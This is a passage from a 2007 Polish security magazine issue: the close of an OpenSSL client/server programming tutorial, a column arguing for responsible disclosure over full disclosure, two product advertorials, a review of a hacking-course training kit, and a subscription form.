zdefiniowane  w 

REQUEST

,  po  czym 

odbieramy  dane  i  wyświetlamy  je 
na  standardowe  wyjście.  Na  końcu 
wypada  posprzątać  łańcuch  BIO 
za pomocą funkcji 

BIO _ free _ all()

 

oraz  szczęśliwie  zakończyć  pro-
gram. Kompilacja oraz przykładowe 
uruchomienie  programu  przedsta-
wia Rysunek 1.

Zaserwujmy coś

Analogicznie  do  przypadku  klienta, 
napiszemy  funkcje 

server _ ssl _

initialize _ ctx()

 inicjalizującą kon-

tekst SSL – znajduje się ona na Li-
stingu  6.  O  ile  serwer  nie  oczeki-
wał  od  klienta  certyfikatu,  o  tyle 
klient serwerowi już pod tym wzglę-
dem  nie  popuści.  Za  pomocą  funk-
cji 

SSL _ CTX _ use _ certificate _ file()

 

SSL _ CTX _ use _ PrivateKey _ file()

 

serwer  załaduje  wcześniej  stworzo-
ny  certyfikat  oraz  pasujący  do  nie-
go klucz prywatny. O faktyczne przy-
pasowanie  klucza  prywatnego  do 
certyfikatu  zatroszczy  się  funkcja 

SSL _ CTX _ check _ private _ key()

.

W  odróżnieniu  od  klienta  ser-

wer  ustawia  parametry  dla  algoryt-
mu  Diffiego-Hellmana  za  pomocą 
kombinacji  funkcji 

BIO _ new _ file()

PEM _ read _ bio _ DHparams()

 

oraz 

SSL _ CTX _ set _ tmp _ dh()

.  Nasz  ser-

wer dla każdego nowego klienta bę-
dzie  tworzył  nowy  proces  potomny 
funkcją 

fork()

.  Stąd  w  celu  uniknię-

cia procesów zombie, przechwytuje-
my  sygnał  SIGCHLD,  który  wysyła-
ny jest po zakończeniu procesu po-
tomnego:

signal(SIGCHLD, sigchild_handler);

Jego obsługą zaś zajmie się funkcja 

sigchild _ handler

 przedstawiona na 

Listingu 7, która wyświetli informację, 
czy proces umarł ze starości, czy też 
nastąpiło  to  przedwcześnie  wsku-
tek  nieszczęśliwego  wypadku  (na 
przykład poprzez wysłanie do niego 
określonego sygnału).

Przyszedł  w  końcu  moment  na 

zastosowanie  BIO  po  stronie  serwe-
ra.  Funkcja 

BIO _ new _ accept()

  z  po-

danym jako argument numeru port (w 
postaci tekstu) stworzy nowy łańcuch 
BIO,  za  którym  schowa  się  obsługa 
sieci – znów nie trzeba wypełniać żad-
nych struktur adresowych czy tworzyć 
gniazd. Do rozpoczęcia nasłuchu słu-
ży  funkcja 

BIO _ do _ accpet()

.  Pierw-

sze jej wywołanie przygotuje BIO do 
nasłuchu, następne będzie już oczeki-
wało na nowe połączenia. Każde no-
wo zaakceptowane połączenie trafi do 
BIO  łańcucha  o  nazwie 

listen _ bio

Konstrukcja 

client_bio = BIO_pop(listen_bio);

zdejmie  klienta  z  łańcucha 

listen _

bio

,  dzięki  czemu  serwer  będzie 

mógł przyjmować nowe połączenia, 
a do obsługi stworzy  proces potom-
ny.  Po  pomyślnym  zestawieniu  po-
łączenia  (

BIO _ do _ handshake()

)  pro-

ces potomny stworzy i doda do łań-
cucha  BIO 

client _ bio

  BIO  filtrują-

ce 

BIO _ f _ buffer()

,  które  zapewni 

buforowane  wejście  i  wyjście  w  ko-
munikacji z klientem. Następnie ser-
wer wysyła na  ślepo klientowi przy-
kładową odpowiedź HTTP, po czym 
odczytuje dane od klienta (zapytanie 
HTTP), odsyła mu je i na końcu do-
daje coś od siebie. Na Rysunku 2 wi-
dać  kompilację  i  działanie  serwera, 
który dobrze obsługuje zarówno na-
szego  własnoręcznie  zbudowanego 
klienta, jak i popularną przeglądarkę 
WWW.  Listing  8  natomiast  zawiera 
źródła z sercem naszego demona.

Podsumowanie

Programowanie z biblioteką Openssl 
nie jest wcale tak trudne, jak by się to 
mogło  wydawać.  Wprawdzie  przed-
stawione  w  artykule  przykłady  są 
bardzo proste, widzimy w jaki łatwy 
sposób  –  zwłaszcza  dzięki  abstrak-
cyjnym BIO – w łatwy sposób można 
zestawić szyfrowane połączenie. l

background image

hakin9 Nr 4/2007

www.hakin9.org

74

Felieton

J

ak w każdym zjawisku zachodzącym na masową 
skalę, tak i w bezpieczeństwie technologii infor-
matycznych,  z  socjologicznego  punktu  widze-

nia  można  wyróżnić  pojawiające  się,  lub  zanikające 
trendy,  które  w  określonym  czasie  cieszą  się  więk-
szym, bądź mniejszym zainteresowaniem. Te bardziej 
znaczące i rewolucyjne potrafią zmienić dotychczaso-
we paradygmaty (w tym znaczeniu – wzorcowe przy-
kłady  tworzone  na  podstawie  historii  rozwoju  zabez-
pieczeń) w sektorze security. 

Anomalią towarzyszącą w tworzeniu pewnych kano-

nów  postępowania  w  sferze  bezpieczeństwa  syste-
mów, czy ogólnie oprogramowania, jest fakt, że zazwy-
czaj powstające trendy nigdy nie rozwijają się dokład-
nie  w  tym  kierunku,    który  na  początku  przewidywali 
jego  twórcy.  Gruntownym  tutaj  przykładem  z  poziomu 
antropologii  pokazującym  esencję  powyższych  stwier-
dzeń  jest  tzw.  trend  sekularny  (zachodzący  pod  wpły-
wem rozwoju cywilizacji) hackingu, który jest nieodłącz-
ną częścią bezpieczeństwa IT, a nawet jego fundamen-
tem.  Ukazuje  on  z  perspektywy  historycznej  główną 
wadę poglądu full disclosure (pełne ujawnienie błędów), 
którego  głównym  założeniem  jest  podanie  do  opinii 
publicznej  wszystkich  informacji  dotyczących  odkry-
tych błędów w zabezpieczeniach informatycznych, włą-
czając  w  to  wszelkie  dane  techniczne  oraz  narzędzia 
(exploity), które wykorzystują te błędy i pozwalają na ich 
dokładną analizę.

Termin hacking w pierwotnym znaczeniu wcześnie 

tworzonego  żargonu  informatycznego  był  między-
narodowym  określeniem  czynności,  które  pokonują 
wszelkie  zabezpieczenia  w  postaci  kodów  i  haseł 
zastrzeżonych dla osób wtajemniczonych, pozwalając 
tym samym włamać się do sieci komputerowych. Był 
to pierwszy trend wśród użytkowników wykorzystują-
cych  ogólnodostępne  źródła  informacji  w  Internecie. 
W  tamtych  czasach  odpowiedniki  dzisiejszych  forów 
– BBSy (biuletyny komputerowe) roiły się od praktycz-
nych porad i wskazówek dosłownie ukazujących krok 
po kroku słabości ówczesnych systemów. W dodatku 
na  rynku  wydawniczym  królowała  pozycja  Hacke-

r's  Handbook  Hugo  Cornwalla  stanowiąca  główny 
poradnik  początkujących  włamywaczy.  Wszystko  to 

Niezdrowe trendy 

w bezpieczeństwie 

– full disclosure

spowodowało obranie złej drogi przez panującą modę 
i  metodę  prezentacji  informacji,  wymykając  się  spod 
kontroli  jej  autorów  –  jakakolwiek  osoba  nie  mająca 
większego  pojęcia  o  technice  komputerowej  i  uboga 
umysłowo  była  w  stanie  opanować  parę  chwytów, 
zdobyć adresy, kody, hasła i dostać się do baz danych 
i  systemów  państwowych.  Wówczas  zorganizowano 
wiele  konferencji,  aby  ukształtować  finalną  etykę 
hackerów oraz stworzyć prawdziwe podziemie w Sieci 
dostępne  tylko  wąskiej  grupy  specjalistów.  Głównym 
czynnikiem, który wpłynął na tą rewolucję było prawo, 
które  w  przeszłości  bardzo  powolnie  podążało  za 
problemami pojawiającymi się w wraz z rozpowszech-
nianiem  się  technik  przestępstw  komputerowych.  To 
wraz z jego reinterpretacją oraz stworzeniem nowych 
przepisów nastąpiła akceleracja rozwoju świadomości 

Patryk Krawaczyński

O autorze

Autor aktualnie jest studentem II roku Informacji Naukowej na 
Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych chwi-
lach  stara  się  prowadzić  serwis  poświęcony  podstawowym 
aspektom  bezpieczeństwa  systemu  Linux  (www.narf.shl.pl
poddając  analizie  i  opisowi  sprawdzone  mechanizmy  jego 
zabezpieczeń.
Kontakt z autorem: agresor@narf.shl.pl

background image

75

hakin9 Nr 4/2007

www.hakin9.org

Felieton

samozachowawczej  osób  dyktujących  warunki  bez-
pieczeństwa  Internetu.  Można  było  wtedy  wyraźnie 
zaobserwować odłączenie się grup guru od przecięt-
nych  skrypciaków  (ang.  script  kiddie),  co  zakończyło 
erę  bezlitosnych  nadużyć  informacji  przeznaczonych 
dla  osób  z  branży.  I  oto  bez  podłoża  genetycznego 
nastąpiła  zmiana  przystosowawcza  do  panujących 
warunków  wśród  hackerów,  którzy  stali  się  warto-
ściowymi  osobami  posługującymi  się  szeroką  gamą 
języków  programowania,  potrafiących  porozumiewać 
się  z  wieloma  odmianami  systemów  obsługujących 
sieci  i  posiadających  dość  inwencji,  by  udoskonalać 
nowe, i już istniejące mechanizmy zabezpieczeń, a co 
najważniejsze - o wykrytych lukach powiadamiali naj-
pierw producentów oprogramowania.

Historia,  która  lubi  się  powtarzać,  ukazuje,  że  

wraz  z  ciągłym  rozwojem  technologii  internetowych 
zwiększa się prawdopodobieństwo naruszenia bezpie-
czeństwa już istniejących zabezpieczeń. Każda nowa 
technika ataku, narzędzie, czy technologia sprzętowa 
daje nowe możliwości w starych warunkach, a jeszcze 
większa rola wiarygodnych źródeł informacji pogłębia 
to  zjawisko.  Ostatnio  szczególnie  jest  to  widoczne 
w  bezpieczeństwie  serwerów  rządowych,  które  są 
masowo  testowane  przez  niezależne  serwisy  zajmu-
jące  się  tematyką  bezpieczeństwa.  W  wielu  przypad-
kach niski poziom bezpieczeństwa wynika z ignorancji. 
Wśród administratorów tych systemów panuje przeko-
nanie, wynikające z braku wiedzy i pewności, że do ich 
systemu  nie  można  się  włamać.  Zatrudniani  są  prze-
ciętni  fachowcy,  którzy  nie  są  zbytnio  zainteresowani 
obsługiwanym  przez  nich  systemem.  Znudzeni  nie 
reagują na zgłoszenia osób z zewnątrz, a swoją pracę 
wykonują  jedynie  dla  pieniędzy.  O  ile  początkowa 
wina  leży  po  stronie  celów  audytów  informatycznych, 
tak  wiele  razy  serwisy  powiadamiające  o  tych  zanie-
dbaniach,  zbyt  szybko  ujawniają  krytyczne  informa-
cje  powodując  automatycznie  dodatkowe  ataki  na  te 
serwery.  Błędem  jest  tutaj  zmiana  kolejności  etapów 
wtajemniczenia  osób  postronnych.  W  celu  uzyskania 
wyraźnego rozgłosu podaje się najpierw do informacji 
publicznej zaistniałe fakty, a dopiero potem powiada-
mia  się  o  nich  samych  zainteresowanych  czekając 
na  ich  oświadczenia.  Pozostawia  to  lukę  czasową 
pozwalającą na działanie osób o nie w pełni sprecyzo-
wanych  zamiarach,  które  dodatkowo  wyposażone  są 
w techniczne szczegóły ujawniane często także, przez 
samych testerów mających na względzie błędnie rozu-
mowane dobro publiczne.

Analogiczna  sytuacja  ma  miejsce  w  przypadku 

wypuszczania  przez  programistów  exploitów  typu  0-

day (zerowego dnia) oraz proof of concept (dowodów 
na  poprawność).  Kod  takich  exploitów  publikowany 
jest  w  bardzo,  krótkim  czasie  po  oficjalnym,  lub  nie-
oficjalnym  ogłoszeniu  istnienia  określonej  podatności 

w  systemie,  czy  programie,  lecz  zanim  producent  /
autor oprogramowania wypuści poprawkę naprawiają-
cą ów błąd. Dopóki tego nie zrobi, wszyscy użytkow-
nicy  korzystający  z  danej  marki  pozostają  w  realnym 
zagrożeniu.  Kontrastem  dla  tej  sytuacji  może  być 
fakt  wypuszczenia  przez  niezależnego  programistę 
poprawki.  Problemem  w  tym  przypadku  jest  także 
złe  wykorzystanie  informacji.  Bardzo  wiele  razy 
podaje się od razu dane dotyczące możliwości szyb-
kiej  aktualizacji,  bez  jakiegokolwiek  przewidywania 
możliwości  technicznych.  W  ten  sposób  na  serwerze 
udostępniającym stronę programisty wykonywany jest 
nieświadomy  atak  DDoS  (ang.  Distributed  Denial  of 

Service)  przez  rzucających  się    jednocześnie  na  łatę 
użytkowników.  W  dodatku  istnieje  także  obawa,  że 
nieoficjalna poprawka może wprowadzać niepożądane 
zmiany w systemie.

Wymienione  powyżej  przypadki  noszą  znamiona 

metody pełnego ujawniania, która umożliwia poznanie 
pełnej  specyfikacji  wykrywanych  luk.  Odkrywa  ona 
szczegóły  dotyczące  konfiguracji  oraz  jakości  stoso-
wanego  oprogramowania,  ale  przy  tym  trafia  do  zbyt 
szerokiego  grona  użytkowników,  którzy  nie  zawsze 
pozyskane  informacje  wykorzystują  w  odpowiedni 
sposób. Mimo to, że zmusza ona dostawców oprogra-
mowania do tego, by tworzyli kod o najwyższej jakości, 
w  celu  uniknięcia  publicznej  kompromitacji  –  często 
wykorzystywana jest do praktyk brudnego marketingu, 
aby pomóc zainteresowanym osobom w doborze kon-
kurencyjnego produktu - nie zawsze bardziej bezpiecz-
nego.  Zwykli  użytkownicy,  nie  będący  programistami 
mogącymi samemu dokonać poprawek, pozostają ska-
zani  na  wysoki  stopień  niebezpieczeństwa  oraz  nie-
przemyślane ryzyko. Wszystko to po to, aby konkretne 
osoby lub zgrupowania zyskały jednoznaczny rozgłos. 
Metoda full disclosure powinna być stosowana głównie 
w  przypadku  powiadamiania  dostawców  oprogramo-
wania, aby w jasny i klarowny sposób przedstawić im 
sedno problemu, a nawet zasugerować sposób napra-
wy.  W  ten  sposób  cała  wartość  informacji  kierowana 
jest do odpowiedniego odbiorcy. Na szczęście w ujęciu 
publicznym  trend  ten  cieszy  się  coraz  mniejszym 
zainteresowaniem  na  przestrzeni  rozwoju  procedur 
ujawniania  luk  w  zabezpieczeniach,  w  którym  katali-
zatorem  jest  ciągły  postęp  technologiczny  i  rosnąca 
świadomość wartości wielu informacji. Coraz częściej 
stosowanym wariantem tego procesu staje się respon-

sible  disclosure  (odpowiedzialne  ujawnianie),  które 
dzięki  wcześniejszemu  powiadomieniu  producentów 
pozwala im na wydanie poprawki i publiczne ogłosze-
nie jej dostępności; odczekaniu odpowiedniego okresu 
czasu, aż wszyscy odpowiedzialni użytkownicy wyko-
nają aktualizację, a dopiero później publikacji informa-
cji  o  błędzie.  No  i  ze  względu  na  dzisiejszy  hacking 
wydaje się to bardziej etyczne. l

background image

Enigma Lite Desktop Edition

GlobalTrust

Dokumenty  firmowe  i  prywatne  dane  osobowe  to 
istotne  informacje,  które  musimy  bezwzględnie 
chronić  przed  kradzieżą,  złym  wykorzystaniem  i 
dostępem  nieautoryzowanych  użytkowników  tak 
spoza firmy, jak pracowników. Warto nadmienić, że w 
obecnych czasach większość danych personalnych 
i  firmowych  jest  przechowywana  w  formie  plików  i 
elektronicznych  dokumentów,  przesyłanych  przez 
wiadomości e-mail w różnych sieciach.

Pakiet  Enigma  Lite  Desktop  Edition  oferuje 

modularną, wielkoskalową solucję na problemy pr-
zechowywania i przesyłania dokumentów. Spotyka 
się  z  aprobatą  nie  tylko  zwykłych  użytkowników, 
chroniąc ich stacjonarny, czy przenośny komputer, 
ale także wielkich organizacji działających w otwar-
tych i zamkniętych sieciach. Enigma implementuje 
najsilniejsze polityki zabezpieczeń w celu ochrony 
prywatności  plików,  e-maili,  baz  danych  oraz  ich 
sposobu migracji.

DLACZEGO ENIGMA? 
(ZMIANY W PRAWIE)

•   We  Włoszech  nowe  prawa  i  zasady  zostały 

wprowadzone z ustawą D.Lgs 196/2003, znaną 
także  jako  “The  Privacy  Code”  (Prywatność 
Danych).  Zgodnie  z  postanowieniami,  należy 
chronić prywatne dane przed ryzykiem zniszc-
zenia,  zagubienia  oraz  nieautoryzowanego 
dostępu.  Dlatego  właśnie  wielkie  korporacje  i 
profesjonaliści  muszą  zaimplementować  mi-
nimalne sposoby zabezpieczeń procesowania 
danych utajnionych.

•   Według  ustawy,  tajne  dane  elektroniczne  (np. 

sądowe, czy informacje o zdrowiu pracowników) 
muszą  być  zakodowane  przy  użyciu  najlep-
szych technik obecnie dostępnych na rynku.

•   Ustawa  przewiduje  kary  za  niezastosowanie 

się do jej postanowień, a tym samym łamanie 
prawa.

DLACZEGO ENIGMA? 
(RYNEK WŁOSKI)

We  Włoszech  istnieje  silne  zapotrzebowanie  na 
łatwe  w  implementacji  i  użyciu  oprogramowanie 

służące  do  zabezpieczania  dokumentów  elektro-
nicznych  na  komputerach  stacjonarnych  i  prywa-
tnych (przede wszystkim przenośnych). Zapotrze-
bowanie takie istnieje w wielu sektorach:

•   wojskowym (np. enkrypcja utajnionych doku-

mentów)

•   finansowym  (np.  przekazywanie  pewnych 

wiadomości elektronicznych) 

•   u  dostawców  usług  internetowych  (ang.  ISP) 

(np.  zabezpieczanie  transakcji  w  sieci  web 
oraz archiwizacja)

•   w integratorach systemowych (np. jako narzędzie 

do bezpiecznej migracji dokumentów)

•   na uniwersytetach i innych placówkach eduka-

cyjnych

•   w firmach
•   u kupców detalicznych (SW/HW)
•   i innych.

Jednak konkurencyjne oferty nie są adekwatne do po-
trzeb, używają systemów (BestCrypt, Signo, czy PGP) 
mało znanych i niezbyt rozpowszechnionych.

FUNKCJONALNOŚĆ 
SYSTEMU ENIGMA

Silniejsze  Zabezpieczenie  Prywatności  Enigma  Lite 
Desktop  Edition  jest  najlepszym  rozwiązaniem  do 
manipulacji  danymi  personalnymi,  które  spełnia 
wymogi praw i ustaw (D.Lgs. n. 196/2003). Enigma 
Lite Desktop Edition pozwala scentralizować wszys-
tkie  operacje,  które  wymagane  są  przy  dostępie 
do  prywatnych  danych  personalnych  lub  korpora-
cyjnych:  podpisy  elektroniczne,  kryptografie,  bez-

pieczne  przechowywanie,  oznaczanie  znacznikami 
czasowymi,  bezpieczna  destrukcja,  autentykacja 
oraz weryfikacja elektronicznych certyfikatów.

Jest  środowiskiem  zintegrowanym  z  syste-

mami Windows i pakietem Microsoft Office

Enigma Lite Desktop Edition jest rozwiązaniem 

zaprojektowanym pod kątem systemów operacyj-
nych firmy Microsoft: komponenty Ochrony Doku-
mentów  są  w  pełni  zintegrowane  z  maszynami 
klienckimi  działającymi  na  systemach  Windows, 
zaś  komponenty  serwerowe  są  instalowane  na 
systemach typu MS Windows Server. 

Enigma  Lite  Desktop  Edition  używa  najbardziej 

zaawansowanych  mechanizmów  kryptograficznych, 
jest kompatybilna ze standardami X.509 i SSL v.3.0. Po-
zwala na manipulację elektronicznymi certyfikatami i 
tożsamościami. Dodatkowo, Enigma jest kompatybilna 
ze standardami Common Access Card (CAC) i PKC#11 
(Standard  Interfejsów  Tokenów  Kryptograficznych), 
pozwalając na używanie SmartCards i Tokenów USB. 

•   Kupno: 

https://

www.globaltrust.it/software_
buy/enigmalitedesktopedition_
12.aspx
 

•   Witryna producenta: 

http:

//www.globaltrust.it

Kontakt:

O GlobalTrust

GlobalTrust  jest  firmą  zajmującą  się  certyfikowaniem 
i  rejestrowaniem,  rozpoznawaną  na  całym  świecie, 
która  oferuje  wdrażanie  wszystkich  typów  certyfika-
tów i zabezpieczeń technologii cyfrowych przy użyciu 
najbardziej  zaawansowanych  technik  zabezpieczeń, 
autentykacji  i  weryfikacji.  GlobalTrust  to  niezależny 
znawca  w  zakresie  typów  ataków  przeprowadzanych 
w Sieci. Dzięki swoim technologiom, GlobalTrust pozwala 
organizacjom  wszelkich  rozmiarów  na  zabezpiecza-
nie  transakcji  elektronicznych,  zawsze  utrzymując 
korzystną proporcję ceny do jakości.

background image

MESSAGE PROCESSING PLATFORM 
(MPP) - SYSTEM OCHRONY POCZTY

MPP  amerykańskiej  firmy  Message  Partners 
pozwala  zaoszczędzić  cenny  czas  każdego 
administratora  –  łącząc  prostotę  z  zaawansowa-
nymi  możliwościami  szczegółowej  konfiguracji. 
Dzięki  systemowi  poczta  jest  chroniona  przed 
spamem  i  wirusami,  możemy  filtrować  jej  treść, 
a  także  archiwizować  wiadomości  przychodzące 
i  wychodzące  –  ale  to  tylko  podstawowe  funkcje. 
Prawdziwego  „smaczku”  dodają  systemowi  jego 
pozostałe możliwości.

MODUŁOWA BUDOWA

MPP  posiada  modułową  budowę,  dzięki  czemu 
łatwo  może  zostać  dopasowany  do  potrzeb,  a 
także  umożliwia  łatwą  rekonfigurację  całego 
systemu  pocztowego.  Podstawę  stanowi  moduł 
zarządzający  MPP,  działający  poprzez  https,  w 
którym  administrator  definiuje  całość  polityk 
bezpieczeństwa dla poczty w firmie. Do modułu 
zarządzającego  dołączane  są  dodatkowe  ska-
nery  –  antywirusowe  i  antyspamowe.  W  wersji 
podstawowej  MPP  korzysta  ze  SpamAssassina 
i  Clam-AV,  natomiast  dla  wzmocnienia  ochrony, 
administrator może dokupić komercyjne skane-
ry  zintegrowane  z  MPP  (antywirusowe:  NOD32, 
Kaspersky,  Sophos,  antyspamowe:  Cloudmark  i 
Mailshell). 

MPP wykorzystuje wszystkie skanery poczty 

jako  engine’y  skanujące.  Zadaniem  np.  skanera 
ClamAV  współpracującego  z  MPP  jest  przyjęcie 
e-maila  od  MPP,  przeskanowanie  go  i  odesłanie 
informacji  o  rezultacie  oraz  ewentualnie  e-maila 
z  naprawionym  lub  usuniętym  załącznikiem. 
Właśnie dzięki takiemu rozwiązaniu, administrator 
nie  musi  się  zaprzątać  sobie  głowy  ustawieniami 
poszczególnych skanerów.

JAK SZYBKO ZMIENIĆ 
ANTYWIRUSA W CAŁEJ FIRMIE?

W  zależności  od  zdefiniowanych  polityk,  różne 
grupy  użytkowników  mogą  korzystać  z  różnych 
skanerów  lub  też  z  kilku  skanerów  jednocześnie 
(typowa  sytuacja  np.  dla  providera  posiadającego 
konta  darmowe  i  komercyjne).  Jeśli  stwierdzimy, 
że jakaś grupa ma korzystać z innego skanera niż 
dotychczas  używany,  możemy  go  podmienić,  nie 
naruszając  pozostałych  ustawień.  Cała  operacja 
trwa  kilka  sekund  -  po  prostu  z  listy  skanerów 
wybierzemy  nowy,  klikamy  –  i  to  wszystko.  Nowy 
skaner  skanuje  pocztę,  a  cała  konfiguracja  polityk 
pozostaje niezmieniona.

Równie  prosta  jest  hipotetyczna  zmiana 

obsługującego  naszą  pocztę  serwera.  Pomijając 
fakt, że sama zamiana z serwera np.: Sendmail na 
Postfixa byłaby dość czasochłonna, jeśli wcześniej 
filtrowaliśmy  pocztę  za  pośrednictwem  MPP,  nie 
musimy  się  przejmować  konfiguracją  skanerów 
poczty. Wystarczy bowiem w MPP zamienić jedną 
linię  w  pliku  konfiguracyjnym  lub  wybrać  nowy 
serwer  pocztowy  w  panelu  https,  aby  wszystkie 
skanery  z  tymi  samymi  ustawieniami  zaczęły 
współpracować z nowym serwerem pocztowym.

Cały system może być zarządzany z konsoli w 

trybie  graficznym.  Dzięki  temu  nic  nie  konfiguru-
jemy z linii poleceń. Po prostu wybieramy to, co nas 
interesuje,  klikając  na  odpowiednie  opcje.  W  ten 
sposób tworzymy szerokie polityki bezpieczeństwa 
dla różnych działów w firmie, wszystko według in-
dywidualnych potrzeb.

JAK ZMINIMALIZOWAĆ 
ILOŚĆ PYTAŃ UŻYTKOWNIKÓW?

Opcjonalnie  dostępne  są  moduły  do  zarządzania 
kwarantanną i archiwum. Sprawdzanie kwarantanny 
każdego pracownika, odpowiadanie na pytania typu 
–  „czy  coś  nie  zostało  zatrzymane,  bo  czekam  na 
ważny e-mail?” – mogą wyprowadzać z równowagi i 
zajmować dużo czasu. Dzięki modułom przeglądania 
kwarantanny  z  poziomu  przeglądarki,  każdy  pra-
cownik sam może teraz sprawdzać e-maile logując 
się na odpowiedniej stronie WWW. Moduły są na tyle 
przejrzyste i czytelne, iż nawet słabo zorientowany 
pracownik da sobie z nimi radę. Każdy użytkownik 
w  swoim  katalogu  kwarantanny  i  archiwum  może 
przejrzeć listę e-maili, wyszukiwać przesyłki w opar-

ciu o różne kryteria, przesyłać, uwalniać z kwaran-
tanny, usuwać e-maile, a także tworzyć własną białą 
i czarną listę adresów. Jeśli administrator chce, aby 
użytkownicy  mieli  zawsze  „przy  sobie”  cały  swój 
spam, możemy tak skonfigurować MPP, aby wszyst-
kie e-maile spamowe były wrzucane do specjalnego 
spamowego  katalogu  (IMAP)  dostępnego  do  subs-
krypcji dla każdego użytkownika MPP. Wszystko to 
bez zaprzątania uwagi administratora.

OSZCZĘDNOŚĆ ZASOBÓW SERWERA

Przy  współpracy  z  serwerem  Postfix  dodatkową 
zaletą jest wbudowany w MPP Postfix Policy Server, 
pozwalający odrzucić niepożądane e-maile zanim 
trafią  one  na  serwer  pocztowy.  Dzięki  tej  funkcji, 
można większość spamu odrzucać już na poziomie 
sesji SMTP. To MPP podejmuje decyzję, czy odrzucić 
wiadomość, zanim trafi ona na serwer, czy pozwolić 
na jej przekazanie i przeskanowanie przez system.

Warto  wspomnieć  także  o  funkcji  body 

stripping.  Pozwala  nam  ona  na  odłączenie  od 
wiadomości  jej  załącznika,  zapisania  go  na  se-
rwerze  ftp  lub  http,  a  następnie  dołączenie  do 
maila linka do miejsca, w którym został zapisany 
załącznik. Dzięki temu mamy lepszą kontrolę nad 
przepływem  dokumentów  oraz  zmniejszamy 
rozmiary  skrzynek  pocztowych.  Załączniki 
możemy filtrować w oparciu o rozmiar, nazwę lub 
na  przykład  typ  załącznika.  Wyobraźmy  sobie 
dość częstą sytuację archiwizacji poczty. Chcemy 
archiwizować  tylko  małe  maile,  bez  załączników. 
Dzięki  odcinaniu  załączników,  można  zrobić 
wszystko - także pozwolić na przesyłanie dużych 
wiadomości.

MPP  to  system  w  sposób  kompleksowy 

zabezpieczający serwer poczty przy minimalnym 
nakładzie  pracy.  Pośrednie  podpięcie  do  serwera 
pocztowego  można  oczywiście  zrobić  za  pomocą 
AmavisD.  Skonfigurować  wszystko  można  w 
każdym  skanerze  osobno.  Przepływem  poczty 
można  sterować  zawsze  z  poziomu  serwera. 
„Statystyczne” podejście do skanowania antyspa-
mowego  to  np.:  Vipul’s  Razor  czy  D-Spam.  Ale  po 
co? Czy naprawdę jesteśmy w stanie poświęcić tak 
wiele  czasu  na  konfigurowanie  wszystkich  tych 
programów  z  osobna?  Wdrażając  MPP,  możemy 
skupić  się  na  znacznie  przyjemniejszych  zada-
niach...

DAGMA sp. z o.o., 
wyłączny dystrybutor MPP 
w Polsce, 

mpp@dagma.pl

tel. (32) 259 11 00.

Kontakt:

KLUB TECHNICZNY

JAK MNIEJ CZASU POŚWIĘCAĆ NA 
ADMINISTROWANIE POCZTĄ?

background image

hakin9 Nr 4/2007

www.hakin9.org

78

Szkoła Hakerów

Wydawnictwo : csh

ISBN : 83-9237-450-9

Liczba stron : 426

Oprawa : Miękka

Księgozbiór

Zestaw szkoleniowy

Zestaw szkoleniowy możemy nabyć na kilka sposobów, 
za pomocą strony internetowej producenta, za pomocą 
aukcji  internetowej,  oraz  można  ją  nabyć  jako  prezent 
wraz z prenumeratą pisma Haking. Zamawiając zestaw 
szkoleniowy otrzymamy :

•   Podręcznik
•   Szkoleniowy system operacyjny
•   Zestaw filmów instruktażowych
•   Dostęp do zamkniętej części forum dyskusyjnego
•   Możliwość wzięcia udziału w egzaminie potwierdzają-

cym kwalifikacje oraz umożliwia otrzymanie certyfikatu 

Wszystko to otrzymamy w estetycznym kartonowym opa-
kowaniu.

Podręcznik

Podręcznik  został  podzielony  na  rozdziały  tematycz-
ne, dzięki temu materiał jest uporządkowany i nie trzeba 
“skakać” po rozdziałach. Książka krok po kroku wprowadza 
w tajniki wiedzy z zakresu hackingu - zarówno tej podsta-
wowej, jak i zaawansowanej. Obszerny materiał w postaci 
426 stronicowej książki, który zawierają: przykłady, przy-
padki oraz informacje o tym, jak działają hakerzy, a także 
ćwiczenia, dzięki którym nabierzesz praktycznych umiejęt-
ności. Każdy z rozdziałów stanowi niezależne opracowa-
nie wybranego zagadnienia. Tylko od Ciebie zależy, z którą 
partią materiału chcesz się w danej chwili zapoznać.

Płyty CD/DVD

Na  płycie  CD  znajdziemy  szkoleniowy  system  opera-
cyjny,  dzięki  któremu  mamy  możliwość  przećwiczenia 
każdej z lekcji bez konieczności instalowania oprogramo-
wania  na  dysku  twardym  swojego  komputera.  Urucho-
mienie systemu z płyty CD zajmuje około dwóch, trzech 
minut. Wcześniej należy ustawić w BIOS'ie, aby system 
uruchamiał się z płyty CD.

Na płycie zachowano porządek, wszystko posegrego-

wano według rozdziałów, oraz kolejności ćwiczeń. Narzę-
dzia oraz kody źródłowe skryptów i programów opisanych 
w  podręczniku  otrzymujemy  z  systemem  szkoleniowym  i 
nie ma potrzeby doinstalowywania czegokolwiek.

Natomiast na płycie DVD dołączonej do pakietu szko-

leniowego znajdziemy ponad 4 godziny materiałów filmo-
wych  przedstawiających  w  praktyce  działanie  poszcze-

gólnych  technik,  wszystko  jest  przedstawione  krok  po 
kroku i na bieżąco komentowane przez lektora.

Certyfikatu Ukończenia Szkolenia

Każda  osoba,  która  nabyła  kurs  Szkoły  Hakerów  ma 
prawo  do  przystąpienia  do  egzaminu,  który  sprawdzi 
poziom  wiedzy  i  umiejętności.  Jeśli  dana  osoba  spełni 
wymogi  kwalifikacyjne  i  ukończy  pomyślnie  egzamin, 
otrzyma certyfikat ukończenia szkolenia z zakresu bez-
pieczeństwa systemów komputerowych

Podsumowanie

Jak narazie jest to najlepsza publikacja na polskim rynku, 
która krok po kroku wprowadza nas w tajniki hackingu. 
Oprócz czysto teoretycznych informacji w postaci tekstu, 
możemy zobaczyć na ekranie praktyczne zastosowanie. 
Co najważniejsze dzięki szkoleniowemu systemowi ope-
racyjnemu możemy sami w praktyce przetestować dzia-
łanie  omawianych  technik.  Polecam  zakup  tego  pakie-
tu osobom, które nie miały nigdy wcześniej styczności z 
zagadnieniami z dziedziny hakingu, jak i tym którzy już 
zajmują się tym od dłuższego czasu.

Wojciech Trynkowski

Rysunek 1. 

Zestaw szkoleniowy

Rysunek 2. 

Certyfikat ukończenia kursu

background image
background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

